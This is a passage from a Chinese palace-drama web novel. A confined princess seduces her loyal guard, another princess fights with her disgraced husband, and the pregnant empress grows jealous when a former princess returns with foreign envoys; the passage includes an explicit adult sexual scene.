他谦卑地推门而入,时隔数月,他们再度重逢。
他还是那样高大的身形,脊背也挺立如初,只是瘦了很多,面色也沧桑了许多。
这几个月来,彼此的日子都不算太好过。
他是一路冒雨过来的,雨水淋湿了他身上的衣衫,湿透了的布料紧紧绷在他身上,贴合着他身上每一寸紧实的线条。
周婈珠莫名抿了抿唇。
她看着段充,可是段充没有看她。
他再度跪地,平静地向她道谢,称颂她救了他一命的恩德,也平静地承诺将此生忠心于她,为她卖命。
婈珠上前几步,走到他面前,蹲下了身体:
“你说我对你有大恩,可你连看我一面都不敢。你看看,我是不是老了许多了,变得春残花谢,人老珠黄?”
段充称不敢,他又道:“奴才身为下贱,本不应踏足公主寝居,冒犯公主贵重。”
“好了!你又不是宫里阉了的太监,满口奴才奴才的做什么!”
周婈珠哼了一口气,起了身,慢悠悠地踱步转了个圈,问了他一个莫名其妙的问题:
“我让邓元益给你送一顿好饭,再给你找个女人,让你痛痛快快地上路。邓元益找了吗?”
段充答:“邓将军给臣送了饭食。臣知是公主的恩德,臣永世难报,铭记于心。”
“那女人呢?他给你找了吗?”
段充沉默了一会:“邓将军是给臣送了一个……一个……”
“你睡她啦?”
“臣不敢!臣又让邓将军把她领走了,臣不敢!”
“那个女人漂亮吗?”
“臣不敢看,臣不知。”
周婈珠无声勾唇笑了笑,又问他:
“之前你拉拢韩孝民,陪着韩孝民大吃大喝的那些日子里,韩孝民嫖宿过不少女人,他给你找过娼女服侍吗?”
“……找过。”
“你睡她们了?”
“臣不敢!臣是为公主做事的,岂敢……岂敢这般行事……臣一个也没碰过……”
“是因为韩孝民给你找的那些女人不漂亮吗?”
“不,不是,臣不知道她们漂不漂亮,臣一心为公主尽忠效力,并未留意这些……”
周婈珠大怒:“那你就不能一口气把话都说完!非等着我一句句问下去!”
她的怒气总是这样说来就来,段充跪地俯首,一个字也不敢再多说。
片刻后,她的怒气似乎消退了些,又渐渐走到他身边来,姿态轻佻散漫地用足尖轻轻勾了勾他跪在地上的膝:
“那你有过女人吗?”
直到这时,段充才霍然发现她竟是赤着足的。
那是一双雪白纤细、没有半分瑕疵的嫩足,是赤裸着的,就这样堂而皇之地轻轻踩在他的膝上。
这一下对他的刺激恍若天打雷劈,简直是许多年来他梦里都不敢梦见的旖旎糜艳景象,令他喉间顿时涌上了血腥味,头昏脑涨得一时间说不出一个字来,浑身的血气又不可避免地朝胯下那一处涌去。
见得不到他的答案,婈珠的足下加了几分力气,朝他身上踢了一下:
“我在问你话!”
“……没,没有过。没有。臣没有。”
他舌尖发颤地慌乱回答了她,这一刻竟然连自己是在人间还是地狱也分不清了。
周婈珠脸上的笑意愈发深:
“你今年二十八岁了吧?二十八岁,没有过一个女人?夜间难眠时,想到的会是谁?是我,对不对?”
她收回了那只白嫩的足:“我知道你喜欢我。”
段充一下如遭雷劈便愣在原地,再也说不出一句话来,也不知该如何面对她。
他只觉得自己如在意乱情迷之中,昏昏沉沉地发现她再度俯下身蹲在了自己身边,抚摸着他的脸颊。
“你的梦里面没有过我吗?梦里的我,是不是迷糊朦胧,并不真切?”
“那你今天可以好好地做一个梦了,就当是个梦。你可以清清楚楚地看到我,看看这个你守护了数年的女人,到底是个什么模样……”
她解开了自己腰间寝衣的系带,将大片细腻的肌肤裸露在他面前,又伸手探到他那里,隔着几层布料握住了他。
她毫不顾忌他身上湿透的衣衫,就这样缠在他身上,伏在他肩头喘息,也附在他耳边吐息告诉他,今晚我可以是你的。
这是你应得的,你为这个女人放弃了原本属于自己的大好人生,你为她劳心劳力,上刀山下火海地陪着她,你为什么不能碰?
这是你应得的,你应该得到你这些年付出应换来的报酬。
她这样告诉他,迷惑他的心智。
不知是在哪一刻,他也终于失去所有的理智,双眸赤红地一下起了身,将她打横抱起,送到内室的床榻上,不管不顾地覆压到她身上来。
周婈珠没有半分的反抗,甚至还十分主动地攀附着他的肩膀,将自己的唇瓣印在他的唇上。
“我需要你……是我需要你……”
她胡乱地亲吻他,低声呢喃着。
身上的男人起初还有过犹豫,似乎是不知如何对她下手,但很快他也被引诱得沉醉其中,按着她的后脑逼她和他接吻,几近痴狂地啃咬着她的唇瓣。
几番缠绵悱恻,很快赤诚相见。
他真的没有过别的女人,也毫无章法,始终漫无目的,动作也有些焦躁起来,只能死死地握着她的腰肢。
婈珠微微从榻上支起身体,伸手握住他,引导他。
情至浓时,她环抱着他的脖颈,毫不顾忌地对他喘息道,张道恭从来都不如你,他半点也比不上你,我从前的日子都白活了,你才是我的陛下,你才是我的丈夫。
在我的世界里,你就是我的陛下,我是你的爱妃。
一开始他还能小心翼翼地对她,到后头他初尝此间滋味,一下像沾了血腥味的饿狼一般迷了心智了,任凭周婈珠再怎样求他他也无动于衷。
这是一夜美妙得几乎惊心动魄的春梦。
她在排山倒海而来的满足快慰里疲倦地靠在他身上睡下,数月以来的心烦意乱尽被一扫而空,她甚至还飘飘然如在仙境,如梦似幻。
这就是她需要的。
她需要这个。
常年习武之人,身强体壮的北地武人,到底要比张道恭他们那种养尊处优的粉面白脸要强得多。
周媜珠的丈夫应该也是这样的吧?周媜珠早已背着她享了多年的福!
她的好妹妹啊,这些年在床榻之间都比自己的姐姐要享福。
呵。
甚至在迷迷糊糊睡下之前,周婈珠脑海中又冒出一个更加疯狂的念头,
——她要生个孩子,段充可以做她孩子的父亲。
她需要孩子,她需要一个自己的亲人,她太孤单了。
周奉疆只说圈禁她,还有让她给周媜珠抄写佛经,可他没说过不准她找男人,也没说不准她在这里生孩子。
她也要生孩子,她要生。
她要有个自己的血亲。
她和段充生出来的孩子一定还要比周媜珠肚子里的孩子聪明,因为她就比周媜珠聪明!
周媜珠这胎若生男,她就要生个女儿,以后嫁给她儿子当太子妃;周媜珠若生女,她就要生个儿子,以后做她女儿的驸马。
她就要跟周媜珠耗一辈子,要占尽周媜珠的便宜。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
90-100
第91章
这几个月来,论起日子最不好过的,也许颍川公主周芩姬尚能和自己的二姐姐周婈珠一争高下。
唯有失去过什么,才懂得何为痛苦与不甘。
在韩孝民之事被掀出来之前,颍川公主过着的是怎样的日子呢?
虽则自己的婆家韩家也有百般的不好,穷苦,没有根基,并非世族,婆婆蛮横,妯娌无礼,小叔子游手好闲不上进。
但她对自己未来的日子还是看得见希望的。
她享有公主的荣华名分,与嫡母赵太后的关系也还尚好,生母李太妃也陪在自己身边,膝下还有一双可爱的儿女,丈夫的前程又是那样的耀眼。
即便当时她的婆家韩家还算不得什么世家大族,然而她无比地相信,靠着自己公主的头衔和丈夫权臣新贵的权势,至少在几十年后,当她也要为人祖母、儿孙满堂之时,这个韩家,这个颍川公主府一定会枝繁叶茂,花团锦簇。
贵及一时,荣及十世。
可,似乎就在转瞬之间,她的梦破碎了。
一切都不可能了。
小叔子韩孝民犯下了这样的大罪,陛下没有诛他全族都是额外开恩,是他们百世修来的福运,如今,皇帝只是免去了韩孝直这个驸马的官职,让他赋闲在家,他们还能抱怨什么呢?
也没什么可抱怨的了。
这都是她的命。
在娘家冀州侯府时,她就是诸姐妹中默默无闻者,没有那样出众的容貌,也没有逸群的才气,更没有资质博得父亲周鼎的宠爱。
周婈珠做独女时尚且被周鼎宠爱过几年,周媜珠十几年来受宠不断,其余的几个庶女里,女凭母贵,也偶尔有五娘、六娘她们这样短暂受过父亲疼宠的。
只有她,永远是那个无声无息、寂寂无闻的人。
和她的生母一样,是这家里一个无关紧要的陈设,是花苑里日日被人来回踩踏的石子。
这冀州侯府周家养着她们母女,也不过是因为家主随手宠幸过一个可有可无的婢女,那个婢女又侥幸生下了家主的庶女,仅此而已。
没嫁人之前她是这个命,为什么嫁了人之后,她还是这个命?
为什么上天就是要和她作对?
哪怕做了公主,这个颍川公主府蒙上一层“曾经牵连重罪”的名声,还有一个从此在官场上一蹶不振、几乎被废为庶人的丈夫,她和她儿女们的来日,她已经能看得清清楚楚了。
整个长安城,再也不会有人把她的颍川公主府放在眼里,连一个□□品的小官,前程也比他们家还可值得期待些。
她也做了人母了啊,她也有自己的儿女,以后她的儿女又会怎么样呢?
她的儿子还能娶得高门贵女、甚至像他父亲一样再度迎娶公主吗?
她的女儿还能嫁入贵胄之家,成为世族主母或是王妃郡王妃吗?
不可能的了。
她的儿女们,连一场好姻缘都指望不上。
哪怕周媜珠肚子里蹦出十八个公主来,她都不可能嫁一个公主给她的儿子为妻。
别说宫里的太后、皇后她们冷淡她,就是宫外都这些宗亲皇戚之家,曾经和她交好的人家,现在也都疏远了她下来,再有什么席宴游乐之事,人家连一张请帖都不会送上颍川公主府的大门。
是谁害得她这样惨?
是周婈珠。
周婈珠才是罪魁祸首。
然而今天,外头传了些消息却说,太后打发自己贴身侍奉的心腹福蓉出宫,命福蓉代她探望琅琊公主的身子,还赏赐了许多宫中的礼物。
这件事使得周芩姬的神智再度崩溃了一场。
她不甘心,也无法理解,为什么这样的脸面和恩赏,赵太后宁愿赏赐给周婈珠,也不愿意打发人来看看她?
她真的恨啊。假使以当下颍川公主府的处境,宫里能打发人过来看一看她,瞧一瞧她,长安城里的旁人见了,还会觉得她还继续在太后皇后面前有脸面,还能再高看她几分,还能让她在这长安城里还有容身之地。
可赵太后宁愿去看周婈珠,也想不起来看看她?
同一天夜里,周婈珠和段充缠绵悱恻,共赴巫山,周媜珠在宫中孕中多思,愁肠九转。
而周芩姬则和自己颓废不堪的丈夫韩孝直再度爆发了一场激烈的争吵。
——或许一家的姐妹里头,各自不美满的婚姻,各有各的不美满。
韩孝民的事没出来之前,周芩姬和母亲李太妃对韩孝直这个丈夫、女婿,还是百般满意的。
不论是模样、秉性还是前程,都是个顶个的好,周芩姬从前就不受宠,也无人替她的婚事考量过,能嫁给韩孝直,她已经心满意足,再无多求。
婚后几年里,两人也是恩爱顺遂,携手并进。
虽则周芩姬和自己的婆婆、妯娌相处的都不太融洽,但好在韩孝直从未因此和她发生过争吵,也不曾为此责怪过她。
相反,每次都是他来安慰她,哄着她,叫她不要多生气,把周芩姬捧得心花怒放,暗自欢喜。
现在好了,婆婆死了,妯娌没了,小叔子被处斩了,没有人再惹她生气,这桩婚姻里最大的矛盾,就是她与韩孝直之间的。
“酒酒酒,你现在整日除了饮酒还是饮酒,你索性死在酒里才好!我们这个家变成这样,你从未想过我、也从未想过我们的孩子!你还有半分为人夫、为人父的模样吗?韩孝直,——我当年也真是瞎了眼嫁给你。”
夜已深了,可这对于驸马韩孝直来说,似乎并没有什么要紧的。
他的世界里早已没有了白日黑夜的区别,他昼夜颠倒地在家饮酒、宿醉,日复一日地麻痹着自己的头颅,以期让自己还能得到片刻的解脱。
哪怕是面对妻子的问责,他也依然如行尸走肉般瘫软在胡床上,头也不抬半下。
周芩姬委屈得双眼泛着泪花,她怒而上前砸碎了他桌前的酒坛,将那小桌也一脚踹翻,她犹觉不够解气,又将室内博古架上的花瓶、瓷器、陈设摆件一一扫到地上,噼里啪啦叮叮当当地砸碎了一地的物什,手指着他吼道:
“你现在跟我在这里充什么懦夫?你连个……你连个被招赘上门的郎子都不如,你没个一官半职在身,你喝的酒,穿的衣,哪一样不是花的我的俸银?吃女人的喝女人的,你若是于我还有半分用处,我也不想多说你什么了,可你看看、你看看你现在的样子!”
她一下就嚎啕大哭出来,跪倒在地,自顾自地哭泣起来。
韩孝直的神色这才有了几分微变,掀了掀眼帘,语带嘲弄之意:
“我是什么样子?我应该是什么样子?周芩姬……”
他深深叹了一口气,“我真的累了,请公主大发慈悲,允我静一静,好吗?”
周芩姬崩溃地朝他嘶吼:“你累?是你累还是我累?在这个家里我比你累的多!都是我付出的心血,我为你怀上三胎死里逃生孕育一子一女,我操持着这个家里的大小琐事,甚至就连你现在人不人鬼不鬼的,还要我——”
听到她如此辩驳,韩孝直嘭一下摔了手中的酒盏,起身怒目视她:
“你操持这个家?你还有脸来跟我提这样的话?呵,这个家里你也就管过你母亲和你的孩子,你是如何对待你的婆母,如何与你的妯娌相处的?但凡你真能有半分容人之量,但凡你能和你婆婆、和你的妯娌冯氏她们相安无事,你们这些后宅妇人不起风波,我何至于被韩孝民牵连到如此地步!颍川公主,难道你的父亲、你的嫡母就没有教过你一句话,”
他冷冷地看着她,像在看着一个陌生人,“——妻贤夫祸少。我如今的一切孽报,都毁于无知的后宅妇人之手。”
周芩姬全然愣住,不可置信地瘫坐在地上望着自己的丈夫。
她忽然连和他辩驳争吵的力气都没有了。
媜珠最近的心情又有些不大高兴似的,整日多没精打采的。
这倒也难怪她提不起劲来,任何一个女人在孕期发现自己丈夫过往的那些云山雾罩的风流韵事,想必都很难高兴得起来。
她心中有一根细细的刺,一个解不开的乌云疑影。
——那天她在宣室殿书房里看到的长沙公主寄给他的信,周奉疆最后是怎么回的?
他对张玉令说了些什么?
每每一想到这这件事,媜珠浑身上下皆不痛快。
但她的自尊与骄傲又决不允许她主动开口和他问起这些事,这就越发折磨得她心神不宁,疑神疑鬼。
赵太后是知道女儿的心事的。
她可没将这个什么长沙公主短沙公主的放在眼里,瞧媜珠有些郁郁寡欢,私下里她还安抚她道:
“这有什么可大惊小怪的,男人不是都这样?俗话说,自古以来公主的驸马家里还要纳三房小妾、外头还有五六个相好妇人,何况哪个皇帝没有三宫六苑?我的乖女儿,你不是素来心性最好的么?你爹爹的女人多的数不过来,也没见你埋怨你爹爹好色,怎么轮到你哥哥身上就不行了?”
她哼了声,“可见还是那句老话,板子打不到自己身上不嫌疼。”
媜珠哇一下啪嗒啪嗒掉起眼泪,赵太后大呼小叫,说她尽知道哭,可别把肚子里的孩子给哭坏了。
见她哭得伤心了,赵太后这才认真安慰她起来:
“只要你平平安安生下小太子,男人好色也不是什么坏事。我上回不是还跟你说了,想必你哥哥的寿数也不长,再多好色些,掏空了身子,兴许死得更快了。这般你享福的日子不也更快些?等他一死了,那七妃八嫔惹你生气的你也不必给她们脸色,一块扔进皇陵里关起来就是,有什么大不了的。”
媜珠哭泣的动静顿了一顿,脑海中不由得浮现一个可怕的画面。
她三十多岁时,周奉疆一下旧疾复发病重不治,跟她父亲周鼎一样躺到病榻上没几个月就死了,留下她年纪轻轻受了活寡。
宫里顿时白茫茫的一片,热火朝天给他办起国丧来,她儿子高高兴兴登基当皇帝去了,母亲也高高兴兴当了太皇太后,祖孙两个搂在一起笑得开怀,而她凄凄惨惨地跪在他棺椁前哭得抽抽搭搭,景象好不凄惨!
等他再一死,她的儿女们有自己的日子要过,母亲当了太皇太后只管自己享福,只有她一个人三十多岁便独守空房没了男人,正如日中天的年纪,生生把自己熬得跟五六十岁的老妇人一般清汤寡水半死半生的。
这日子还有什么奔头啊!
天呐!
她一下扑在母亲怀里哭得越发凄怆了。
赵太后气得口中连啧了几声,骂她没出息,
“你爹死时也没见你这个哭法,要是哭坏了我的孙儿,你看我不打死你!”
周奉疆也看得出媜珠这些日子情绪不太寻常。
他以为是自己那晚强迫她用手为他纾解时,累坏了她,惹她伤心了,心中又是怜惜又是懊悔还有愧疚,待她愈发小心翼翼起来,对她说句话都是轻声细气的。
仿佛她就是一团纤纤的仙云,呼出口重气就能吹化了她的身子,会把她吹回九重仙宫里去、永远离开他似的。
王医丞对此给出另一番见解,说孕期的女子本就容易伤秋悲春、心情低落导致性情陡变,他这里还有两副旁的安胎药的方子,兴许给娘娘吃一吃是管用的。
咳咳,就是嘛,熬煮起来颇为繁琐,这每一味药材称量抓取也十分零碎。
于是,利用初为人父的皇帝的焦虑心理,王医丞又从中捞了些好处,灌媜珠多吃了两碗苦涩的汤药。
媜珠吃多了汤药,心情仍是未见多少好转,面对周奉疆的声声关怀,她忽有一天淡淡地望着他说:
“你只是想要我肚子里的孩子而已,如果没有这个孩子,你才不会对我这样好。没有怀上它之前,你对我隔三差五呼来喝去,处处训斥,你还会打我。”
周奉疆呼吸一顿。
他最怕的事情还是发生了。
他的确是怕她问起这句话来,怕她问他说,你对我这么好是不是就是为了这个孩子?
他实在不知道怎样的回答才能让她满意,于是只能先试探着说“不是”。
“哥哥最爱的不是只有你吗?从前是哥哥对你不好,是我让你伤心了,我现在百倍地弥补给你。不会再像从前那样待你了。我保证。”
媜珠眸光幽幽地盯着他:“你不是因为孩子才对我好的?”
他毫不犹豫地回答“绝对不是”。
结果她哇一下又哭了,眼泪啪嗒啪嗒掉,
“所以我给你怀上孩子,你从未因为这个孩子对我好半分?它对你来说根本就无关痛痒,可有可无,是不是?”
“假如有一天我失宠了,你不爱我了,那你也不会再爱我们的孩子了,是不是?”
周奉疆闭了闭眸,头颅嗡嗡地抽痛起来,像有千万只蚊子扑腾翅膀在他耳边飞过,叮咬得他浑身发麻。
也许王医丞说的并没有错。
转入今岁的八月后,秋意愈浓,天气转凉,满目伤秋之景,难免要勾出媜珠心里杂七杂八的各种悲情来。
其实她本性就如此容易感伤叹惋的,做闺阁少女时便已初见端倪。
那时她几个庶出的弟弟们整日不学无术,就喜欢捉了那些鸟儿雀儿兔儿来,用绳子绑住,折磨玩弄至死。
每每知道这些事,媜珠总会伤心很久,她对周奉疆说,她有能力能救下他们手里的那一只两只的鸟雀猫兔,可是这些治标不治本。
她可以救下这一只,但弟弟们手里没得玩了,他们转头还会再去捉另一只来。
无穷无尽,她救不了所有的鸟雀,她心中不安。
甚至,也许她救下一只,还会引得他们多抓更多只来玩弄。
那她做的到底对不对?
周奉疆只会不以为意地回她:“好办,把你弟弟们全打死不就是了,这就不会再叫他们出来祸害生灵了。”
媜珠那时只觉得他在说笑话。
她既早有这样的性情,怀孕之后自然会渐渐表现得更加明显。
她肚子里是个会心疼生母的孩子,自媜珠有孕以来还没有过半分不适的症状,其他女子孕中呕吐,恶心,反胃,头晕等等,折腾也折腾在自己身上,苦头尽让自己受了,委屈也是一个人委屈,实在可怜又不值。
而媜珠不是。
她哭哭啼啼,伤秋悲春,折腾也折腾旁人,她自己只掉了些泪珠而已,折磨得旁人团团围着她转,想方设法要磨破嘴皮子哄她高兴,哄她开心,她自己是毫发无伤的。
前几日媜珠又折腾到她母亲那里去,突发奇想地连连追问赵太后:
“母亲要是当年生了个儿子,现在还会这样疼我吗?”
“我要是有个哥哥弟弟,母亲是最疼我还是疼儿子们?”
“我要是有个姐姐妹妹,诸姐妹中母亲还会最疼我吗?”
赵太后也苦不堪言起来,索性找了个时机装了病,紧闭宫门谁也不见了。
而媜珠对灿娘子亦还有几分问话:“和我二姐姐在洛阳宫里,与如今和我在长安宫里,你更喜欢哪一处?你若能有的选,是和我二姐姐住洛阳,还是愿意与我住长安?”
周奉疆无可奈何,只能命宫人们勤加洒扫,把宫中各处秋日的枯枝落叶清扫得干干净净,又寻来数匹彩缎,一一裁成花朵形状,一片片扎到树上去,装扮出一副花团锦簇的春日盛景,哄媜珠见了能高兴些。
媜珠某日瞧见后又感伤起来:
“命薄不过如此,浮萍之身,空有艳色,即便攀上了高树又有何用?待到来年人家自己开出花儿来,还是要把你这假花一片片摘下来扔进尘土里的。”
周奉疆:……
连佩芝和倪常善也忍不住别过头去叹气。
或许这是她能想得出来的对她母亲和丈夫进行“报复”的最好手段。
她不再梗着脖子和他们争吵,不再追问母亲说“你就是卖女求荣,你就是要把我卖给周奉疆换取荣华富贵”,也不再和周奉疆掰扯那些旧事没完没了地争执指责。
她反而似是变得无比荏弱怯柔,会泪光涟涟地百般折磨他们,足以叫他们都吃够苦头,身心俱疲。
这般又过了数日,媜珠又有了个新问题继续追问他们:
“你们是不是都烦了我了?你们是不是都在心里想着,若不是我肚子里揣着皇帝的种,谁会有那个闲心来搭理我?等这个孩子生下来了,你们是不是连再看多我一眼都嫌弃?”
赵太后可以装病,周奉疆却不行,身为丈夫和父亲,他必须要面对自己怀孕的妻子。
他只能绞尽脑汁使尽浑身解数哄媜珠稍稍开怀,总算将她在榻上哄睡了。
哄媜珠午睡后,皇帝坐在她榻边静静地看了她许久,这才起身朝外头走去,他走时长长地轻叹了口气。
就是这声叹气又惊动了媜珠,令她蓦然在榻上睁开了眼睛,心中百般不是滋味,以至于一瞬间让她心冷得遍体生寒。
——她觉得他厌烦她了。
他一定在厌烦她,他已经不喜欢她了。
还不待她心里又怊怊惕惕地想象起自己被他抛弃、撵进冷宫做下堂弃妇的凄惨场面,步入外殿的皇帝和候在那里的倪常善忽然开口说了几句话。
媜珠警惕地竖起耳朵细听。
皇帝的声音很低,怕吵醒了她的睡梦:“你也瞧见了,皇后近来这个样子……”
倪常善隐约轻声道:“……再过一两日,长沙公主便可带着龟昌使者们抵达长安了。”
皇帝闻言长舒了一口气:“……朕早等着他们早日到……但愿这下能叫朕心里也好受些,皇后她实在叫朕……”
倪常善附和:“哎,娘娘的确是……”
她实在叫他怎么样?她的确是怎么样?
媜珠没听清,但她的脸都白了。
她不再是他的掌上明珠,而是他的鱼目珠,一颗一文不值还泛着腥味的鱼目。
她让他厌恶,烦躁,又不得不应付她以保住他的第一个孩子。
这个关口,唯一能让他心中宽慰的,是他从远地而来的旧日故人,是不是?
她心中恨意更浓。
在她还没有原谅他曾经对她犯下的暴行,她还没有原谅他,他居然就移情别恋,朝三暮四,始乱终弃,见异思迁。
那她该怎么办?
长沙公主归长安时,自然少不得带来一些龟昌国护送的使者,更有数不胜数的龟昌国王姿态谦卑地送来的贡品珍宝,是以长沙公主归国的架势十分热闹,长安城内百姓沿街观赏,纷纷要看一看西域外邦人的种种模样。
而皇帝自也会在宫中设宴,宴请龟昌国王的使臣,包括那位归国的前朝长沙公主。
佩芝和椒房殿内的宫人们为媜珠梳妆打扮,纷纷赞叹皇后娘娘怀上龙胎后气色越发明艳起来,当真是贵不可及。
又奉承她说,龟昌国王和西域一些番邦小国的国王们连连为大魏皇后及腹中龙胎献来礼物,求得大魏庇佑荫庇他们的国运,叫娘娘一定去看一看呢。
在这个时代里,她的丈夫拥有这世界上最庞大的帝国,最辽阔的疆域,最繁盛的都城,她当真是这个世界上最尊贵的女人,她的血脉也将承袭她的尊贵。
媜珠却不这么觉得。
她满腹怨怒,因为她发现周奉疆今天的心情格外的好。
他眼底带着欣喜的笑意,至少比陪在她身边时要高兴得多。
是谁让他这样高兴?他凭什么这样高兴?
——长沙公主今年二十九岁。
二十九岁,还是一个女子的大好年华,正当盛时,并不是所谓的什么半老徐娘,人老珠黄,反而是风韵动人,仙姿玉貌,绰约多情。
公主随龟昌国使臣而至,姿态柔婉端庄,俯首而叩:
“妾张玉令,拜见大魏皇帝陛下万寿无极,天保九如,皇图永固,江山万年。”
皇帝的眼神追随着身侧的媜珠,落在面前一只盛满了阿月浑子果的金盘上。
这是龟昌使臣从西域带来的果子,应属坚果一类,说是他们西域极为珍贵的仙果。
媜珠当是从未见过,眼下有些好奇这种新鲜的物什,眼睛一直不曾从上面挪开。
他伸手取来一颗,剥去果壳,放进媜珠的手里,头也未抬地对长沙公主道:
“你还不曾向朕的皇后行礼。”
第92章
他对她开口时的嗓音是平静不起半分波澜的,没有喜,没有怒,更没有什么所谓久别重逢再见故人的感慨。
仿佛她在他眼里什么也不是,甚至还不如她足下的一片汉白玉砖。
张玉令缓缓抬首,顺势不着痕迹地望了一眼高台宝座上的那对帝后壁人。
她以为她会忍不住将自己的目光落在那个苦苦日思夜想十年的男人身上,然而身体给出的最诚实的反应,却又并非如此。
第一眼,她看见的是周媜珠头顶那璀璨夺目、熠熠生辉的凤冠。
那冠子上镶嵌着无数珍珠、宝石、珊瑚、翡翠美玉,凤凰的形状也用金丝掐得栩栩如生,仿若振翅欲飞。
金镶宝钿花鸾凤,点翠龙凤嵌牡丹。
这是独属于那个女人的光彩和荣华。
历经两朝四帝,她从未见过这样一顶奢靡华美、精美绝伦的凤冠,同为女子,在这短短的几呼吸的时间内,这样的珠翠反而令她生起了前所未有的渴望得到的欲望。
可惜,不是所有坐在这个位子上的女人都能得到这样一顶凤冠的。
在洛阳前楚的禁宫之内浸淫多年,她早已将宫廷里来来往往上上下下的女人赖以生存的条条法则摸得一清二楚。
后宫里的女人为了活下去,为了尊贵体面的活下去,支撑她们一层一层往上爬的,就是皇帝制定的一级又一级的名分。
似乎对女人来说,你爬到什么样的位分上,就理所当然得到什么位分的待遇,你是仅次于皇后的贵妃,她是只比宫女高一等的更衣选侍,你们就该享用不一样的宫殿、穿着不一样的华服,戴着不一样的首饰。
是吗?
是也不是。
位分并不是最要紧的,要紧的还是皇帝的心呢。
皇帝心里没了你,把你当个活死人一样晾在宫里,别说你是贵妃了,即便你是皇后,太监下人们都敢来踩你一脚。你还敢要什么荣华待遇,要什么锦衣华服?哼。
皇帝正宠着你,疼着你,哪怕你还只是个小小的美人,位分还没来得及升上去,宫里拜高踩低的奴才们也敢把给贵妃用的好东西挪到你这来讨好你。
周媜珠头上那样规制的凤冠,可不仅仅是她的皇后名位就能给她换来的。
要不是皇帝特意叮嘱,要不是皇帝命人给她做,要不是皇帝亲自开口要求,她怎么会有?
她怎么会?
还不只是她的凤冠,她鬓边的步摇,耳上的耳环,攒花簇锦、浮翠流丹的鸾裙翟衣,还有她纤细手腕间不经意露出的剔透玉镯。
这些无不使得张玉令忿忿睁大了双眸,一股强烈的不甘涌上她的心肺,似乎要将她这些年在西域远国受过的所有磨难全都喷涌而出。
——如果当年她在洛阳强留下他,让他娶了她,把她带回北地冀州,那后来她会不会不用受周婈珠那贱婢所害而远嫁异乡?那后来今天周媜珠身上穿的、戴的,是不是也应长在她的身上?
以至于今天陪在君侧,陪他共受异域藩国使臣朝拜跪叩的,站在万人之巅的,也应该是她。
这才是一个女人最强烈的愤懑,比所谓的情爱来得还要直接许多。
其后,她才稍稍将目光转移到了周媜珠身边的帝王身上。
十年前在洛阳初见,彼时他是刚刚立下显赫战功、一扬国威的年轻将军,兄长代宗皇帝召见他,抚其背而盛赞。
是时有好事者皆传言曰,其人有王侯贵胄之气,前途不可估量。
她也是不知听谁说了一嘴,她和他年龄相仿,他又挺拔俊逸,胜过洛阳八百所谓才俊、纨袴膏粱,便也禁不住动了心思,在洛阳城最繁盛的酒楼会仙楼里私下召见了他。
一别十年,如今他贵为帝皇,坐拥天下,四海共主,他锋芒毕露,霸业已成,又可曾记得那个他辜负了十年的女人?
他还是有几分怀念她的吧,若非怀念,他又何至于花费那样大的力气将她不远千里接回来?
双双曾于洛阳许鸳盟,若非时运造化弄人,今时今日何至于此?
她眼底的情愫变得意味不明起来,俯身再拜周媜珠:
“妾张氏拜见娘娘,还未再贺娘娘有孕之喜,是妾失礼。”
她只称她为娘娘,至于是什么娘娘,那也未说。
皇后是娘娘,贵妃淑妃昭仪婕妤那也是娘娘。
望着周媜珠发顶的凤冠,她心头又莫名生起一种令她自己都感到恐怖的诅咒,她真希望那凤冠狠狠地从她头上坠下来,坠在周媜珠的肚子上,把她的肚子给砸出一个血淋淋的大洞来。
周家的姐妹都下贱,都该这样!周媜珠如此,周婈珠更该如此!
可惜,那只是她的一个梦。
那凤冠始终没有坠下来,它仍然完好无损地戴在那女人的发间,那女人温和端庄地笑了笑,仪态没有半分不妥。
她谢过她的祝贺,请她入席坐下,为她好不容易重回故土接风洗尘。
媜珠刚刚忍不住以袖掩唇,偷偷尝了一颗那阿月混子果,倒觉得的确有些新鲜,眼神不禁又飘到了那金盘上。
周奉疆取来几颗,一颗一颗剥好了壳继续塞到她手里。
台下那些龟昌国使臣们又说了什么,媜珠没细听,只是一颗一颗接连吃了数颗阿月混子。
及宴酣时,龟昌国使臣之首再度离席,举杯向皇帝祝寿,说愿献龟昌王女及美女数十人侍奉陛下,但请大魏皇帝陛下笑纳。
此言一出,适才还颇有些丝竹之乐与人声交谈的殿内顷刻间便安静了下来,不闻一丝声响。
媜珠这回也听清楚了,面上的微笑顿了一顿,但转瞬即便恢复如初,未留下一丝破绽。
她知道这一刻肯定有许多人或是打量或是好奇试探的目光悄悄流转到她的脸上,他们想要看到她不快,看到她恼怒,看到她露出任何本不该露出的表情。
包括周奉疆可能也在看她。
而她绝不会让他们如愿。
不过是番邦小国献个美女而已,这种事情简直小得不值一提,并不足为怪。
甚至于,他们要是不向皇帝进献美女,这才算奇怪呢。
唯独这回却让殿内宗亲、臣僚们安静下来,眼底暗暗流露出几分打探之色。
这一次,这些女人,皇帝会不会破例收下呢?
——除了皇后之外,他还从未有过其他的女人,也从不会收受这些底下人献来的美女。
令龟昌使臣感到惊喜的是,大魏皇帝收下了。
而且,他收下这些美女时的神情竟然还很和悦,他很高兴。
不过他的下一句话很快便叫他们的喜色被横扫一空:
“朕治下臣民,侍奉朕与皇后本为应当。今皇后有孕辛苦,难有悦色,正好可使异域伶人等为皇后献舞乐,使朕皇后心悦。——把这些伶人送到内司省去,叫她们排练歌舞去吧。皇后没见过多少西域歌舞,兴许会喜欢的。”
说到最后一句话时,他将目光柔柔地流连在媜珠的脸上。
媜珠心中冷笑。
老畜生,自己好色还把由头朝我身上推。
等你四五十岁时候真被掏空了身子一命呜呼了,我一滴泪都不会给你掉的。
又及宴毕,远道而来的使臣们前往宣室殿内与皇帝和三省官员们议边疆政事,张玉令缓缓呼出一口气,也跟着他们一道前往。
等到许久许久之后,殿内的官员们渐渐离去,她才终于等到可以随着使臣们一道入内拜见皇帝的机会。
洛阳宫城内,皇帝处理政务的宫殿名为天统殿,也是一样的巍峨,冰冷,雄壮。
张玉令只短暂地去过几次。
这是她第一次来到长安的宣室殿。
她是第一次来,但是她寄给大魏皇帝的书信先于她而来过这里,也曾被人搁置在那个男人的桌案上。
可惜,尽管他或许见过了那封信,但他并未在上面留下只言片语的墨点。
他一个字都没有回她,就这样把那封信又退了回来。
退回那封信时,她正在返回长安的漫长道路上,也顺带着听到了大魏皇后怀有身孕的消息。
她低垂着头颅,恭顺地步入殿内,俯首再叩。
坐在宝座上的男人并没有叫她起身,只是告诉了她一声:
“你是前朝的公主,如今虽接你回国,却不应再有公主名分,朕以后会把你送回你扶风郡的外祖高家,以后你便是寻常女子,婚嫁自如。”
这就是他想要跟她说的话。
